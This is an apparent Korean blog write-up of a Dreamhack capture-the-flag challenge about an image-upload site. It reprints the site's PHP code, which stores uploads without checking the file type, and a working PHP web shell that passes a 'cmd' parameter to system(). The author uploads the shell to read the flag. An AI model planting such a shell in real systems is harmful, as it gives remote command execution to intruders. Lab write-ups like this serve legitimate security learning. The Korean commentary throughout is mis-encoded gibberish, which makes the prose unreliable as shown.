๐Ÿ” Security/Web

[Web] File Vulnerability ์‹ค์Šต (Dreamhack 'image-storage' ๋ฌธ์ œ)

Rosieblue 2023. 9. 26. 16:13
728x90

list.php

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container"><ul>
    <?php
        $directory = './uploads/';
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?> 
    </ul></div> 
</body>
</html>

..,.,index.html์„ ์ œ์™ธํ•œ ํŒŒ์ผ๋“ค์„ ๋‚˜์—ดํ•˜๊ณ  ์žˆ๋‹ค.

 

๊ทธ๋ฆฌ๊ณ  a ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— ํŒŒ์ผ๋“ค์„ ๋ˆ„๋ฅด๋ฉด ๊ฑฐ๊ธฐ๋กœ ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

 

upload.php

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <form enctype='multipart/form-data' method="POST">
        <div class="form-group">
          <label for="InputFile">ํŒŒ์ผ ์—…๋กœ๋“œ</label>
          <input type="file" id="InputFile" name="file">
        </div>
        <input type="submit" class="btn btn-default" value="Upload">
      </form>
    </div> 
</body>
</html>

ํŒŒ์ผ ํ™•์žฅ์ž๋“ฑ์— ๋Œ€ํ•œ ๊ฒ€์ฆ ์—†์ด ๊ทธ๋ƒฅ ์˜ฌ๋ฆด ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๊ณ  ์žˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์–ด๋Š ๊ฒฝ๋กœ์— ์ €์žฅ๋˜์—ˆ๋Š”์ง€ ๋˜ํ•œ ์ถœ๋ ฅํ•ด์ฃผ๊ณ  ์žˆ๋‹ค

 

๊ฐ„๋‹จํ•œ ์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ๋กœ 1์„ ์ถœ๋ ฅํ•˜๊ฒŒ ํ•ด์ฃผ์—ˆ๋”๋‹ˆ ์–˜๋„ ์‹คํ–‰์ด ์ž˜ ๋˜์—ˆ๋‹ค.

๋”ฐ๋ผ์„œ Stored XSS ๋˜ํ•œ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

 

 

๋”ฐ๋ผ์„œ ์›น์‰˜์„ ์—…๋กœ๋“œํ•˜๊ณ  url์„ ํ†ตํ•ด ํ•ด๋‹น ๊ฒฝ๋กœ์— ์ ‘๊ทผํ•ด์„œ ์›น์‰˜์„ ์‹คํ–‰ํ•˜๋ฉด ๋  ๊ฒƒ ๊ฐ™๋‹ค.

 

ํŒŒ์ผ์˜ ํ™•์žฅ์ž๋‚˜ ์‘๋‹ต์˜ Conetent-Type์— ์˜ํ•ด ์›น ๋ธŒ๋ผ์šฐ์ €๋Š” ์ด๋ฅผ ๋‹ค๋ฅด๊ฒŒ ์ฒ˜๋ฆฌํ•˜๊ฒŒ๋œ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด php,asp,jsp์˜ ํ™•์žฅ์ž๋ฅผ ๊ฐ€์ง„ ์›น ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๋Š” ๊ฒฝ์šฐ, ์ด ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๊ฒŒ ๋œ๋‹ค. (๋”ฐ๋ผ์„œ ์ด์™€๊ฐ™์€ ๋™์  ๋ฆฌ์†Œ์Šค์˜ ํ™•์žฅ์ž๋Š” ๋ณด์•ˆ์ ์œผ๋กœ ๋ง‰์•„๋‘๋Š” ๊ฒƒ์ด ์•ˆ์ „ํ•  ๊ฒƒ์ด๋‹ค)

 

๋˜ํ•œ ์„œ๋ฒ„์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ์ด์šฉํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์„ ์ด์šฉํ•˜๋ฉด ์ข‹๋‹ค.

AWS, Azure, GCP์™€ ๊ฐ™์€ ์ •์  ์Šคํ† ๋ฆฌ์ง€๊ฐ€ ์ด ์˜ˆ์‹œ์ด๋‹ค.

 

 

์•„๋ฌดํŠผ ๊ฐ„๋‹จํ•œ ์›น์‰˜์„ ์ž‘์„ฑํ•˜์ž

(์ถœ์ฒ˜: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 ) 
<html>
<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
		<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
		<input type="SUBMIT" value="Execute">
	</form>
<pre>
 <?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre>
</body>
</html>

 

์ด๋ฅผ ์—…๋กœ๋“œํ•˜๊ณ  ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋‹ˆ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค!